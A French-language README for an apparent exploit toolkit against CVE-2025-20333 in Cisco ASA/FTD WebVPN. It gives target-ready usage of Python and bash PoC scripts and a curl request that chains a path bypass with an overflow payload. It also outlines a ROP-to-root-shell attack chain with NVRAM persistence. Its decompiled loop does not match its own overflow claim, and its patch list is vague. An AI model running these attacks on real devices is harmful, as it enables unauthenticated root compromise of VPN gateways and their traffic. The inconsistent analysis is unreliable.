
Outil complet de recherche et d'exploitation pour CVE-2025-20333, un débordement de tampon de pile critique dans Cisco ASA/FTD WebVPN. Comprend une analyse binaire détaillée, des exploits PoC en Python et bash, ainsi qu'un guide d'exploitation.
Ce répertoire contient des recherches complètes, des analyses et des codes de preuve de concept pour CVE-2025-20333, une vulnérabilité critique de débordement de tampon de pile dans les serveurs WebVPN Cisco ASA/FTD.
Statut : ⚠️ Exploitée activement dans la nature (campagne ArcaneDoor)
Score CVSS : 9,8 Critique
Authentification : Non (contournée via CVE-2025-20362)
Impact : Exécution de code à distance en tant que root
CVE-2025-20333-RESEARCH-NOTES.mdRecherche complète en rétro-ingénierie
Constat clé :
Tampon fixe de 16 octets (local_58[16]) dans body_lexer.re2c
La boucle de décodage d'URL n'a AUCUNE VÉRIFICATION DE LIMITES
Écriture dans local_58[iVar11] sans vérifier que iVar11 < 16
Après 8 paires hexadécimales : débordement → corruption de la pile → RCE
EXPLOITATION-GUIDE.md (12 Ko)Manuel pratique d'exploitation
cve-2025-20333-poc.py (15 Ko)Exploit Python complet
Fonctionnalités :
Utilisation :
# Afficher les détails de la vulnérabilité
python3 cve-2025-20333-poc.py --details
# Exploiter la cible
python3 cve-2025-20333-poc.py 192.168.1.100 443
# Paramètres personnalisés
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30
cve-2025-20333-poc.sh (8,5 Ko)Exploit bash léger
Fonctionnalités :
Utilisation :
# Afficher les détails
./cve-2025-20333-poc.sh --details
# Exploiter
./cve-2025-20333-poc.sh 192.168.1.100 443 10
# Manuel avec curl
curl -X POST https://cible/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure
| Propriété | Valeur |
|---|---|
| ID CVE | CVE-2025-20333 |
| Type | Débordement de tampon de pile (CWE-120) |
| Composant | body_lexer.re2c (FUN_0302e690) |
| Versions affectées | ASA 9.16–9.23, FTD 7.0–7.7 |
| CVSS v3.1 | 9,8 (Critique) |
| Authentification | Non requise (via CVE-2025-20362) |
| Interaction utilisateur | Aucune |
| Impact | RCE en tant que root, compromission totale du système |
| Statut | Exploitée activement (mai 2025 et après) |
| Divulgation responsable | Cisco a corrigé ; avis publié |
// body_lexer.re2c - Boucle de décodage d'URL
byte local_58[16]; // ← Tampon fixe de 16 octets
while (parsing_request_body) {
byte input = *data++;
if (input == '%') {
hex_decode_mode = true;
hex_index = 0;
}
if (hex_decode_mode) {
local_58[hex_index] = input; // ← AUCUNE VÉRIFICATION DE LIMITES !
hex_index++;
if (hex_index == 2) {
byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
hex_decode_mode = false;
}
}
}
Déclencheur du débordement : 9 séquences %XX consécutives ou plus dans le corps POST
1. Attaquant (AUCUNE AUTH requise)
↓
2. HTTP POST vers /+CSCOU+/../+CSCOE+/files/file_list.json
├─ CVE-2025-20362 : Le contournement de chemin évite le contrôle d'authentification
└─ Atteint le point de terminaison files_retr.lua (auth_flag = 0)
↓
3. Corps POST : name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
(9+ paires encodées URL)
↓
4. body_lexer.re2c traite le corps POST
├─ Accumule les paires hexadécimales dans local_58[16]
└─ Après 8 paires : DÉBORDEMENT !
↓
5. Corruption de la pile
├─ Écrase local_48, local_40
├─ Écrase le RBP sauvegardé
└─ Écrase le RIP sauvegardé (adresse de retour)
↓
6. Détournement du flux de contrôle
├─ RIP pointe vers les gadgets ROP
├─ La chaîne ROP configure execve()
└─ execve("/bin/sh", NULL, NULL)
↓
7. RCE en tant que root (le processus lina s'exécute en tant que root)
├─ Compromission totale du serveur VPN
├─ Accès à tout le trafic VPN
└─ Persistance via modification de la NVRAM
lina dans Ghidra/+CSCOU+/../+CSCOE+/files/file_list.jsonlocal_58[16] sans vérification des limitesVérifier l'autorisation
Exécuter l'exploit
# Vérification rapide : la cible répond-elle à la tentative d'exploitation ?
python3 cve-2025-20333-poc.py <ip_cible>
# Ou version bash :
./cve-2025-20333-poc.sh <ip_cible>
Vérifier l'exploitation
Documenter les résultats
Lire les notes de recherche
CVE-2025-20333-RESEARCH-NOTES.mdÉtudier les PoC
Adapter et étendre
⚠️ AVIS LÉGAL
Cette boîte à outils est fournie uniquement pour les tests de sécurité autorisés.
✅ Utilisation autorisée :
❌ Utilisation interdite :
cve-2025-20333/
├── README.md (ce fichier)
├── CVE-2025-20333-RESEARCH-NOTES.md (20 Ko, recherche complète)
├── EXPLOITATION-GUIDE.md (12 Ko, guide pratique)
├── cve-2025-20333-poc.py (15 Ko, PoC Python)
└── cve-2025-20333-poc.sh (8,5 Ko, PoC bash)
Documentation totale : ~65 Ko
Profondeur de recherche : plus de 50 fonctions Ghidra auditées
Résultats vérifiés : débordement de tampon dans body_lexer.re2c confirmé
# Tester si la cible est vulnérable à l'exploitation
curl -X POST https://<cible>/+CSCOU+/../+CSCOE+/files/file_list.json \
-d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
--insecure \
-i
# Si la cible répond (200, 500, plantage), elle peut être vulnérable
# Si la cible bloque/redirige, elle peut être corrigée
# Versions vulnérables :
# - Cisco ASA 9.16 à 9.23
# - Cisco FTD 7.0 à 7.7
# Utiliser SSH/console pour vérifier la version ASA :
show version
# Versions corrigées :
# - ASA 9.16.4.51, 9.18.4.31, 9.20.4.49, 9.22.4.9, 9.24.1+
# - FTD 7.0.x, 7.1.x, 7.2.x (corrigées)
Cette boîte à outils est fournie TELLE QUELLE à des fins éducatives et de tests autorisés uniquement.
Ce projet a été développé avec l'assistance de Claude Code, l'assistant de codage alimenté par l'IA d'Anthropic.
Créé : 2026-08-23
Période de recherche : 2026-08-22 au 2026-08-23
Statut : Complet et documenté
Classification : Éducatif / Tests autorisés uniquement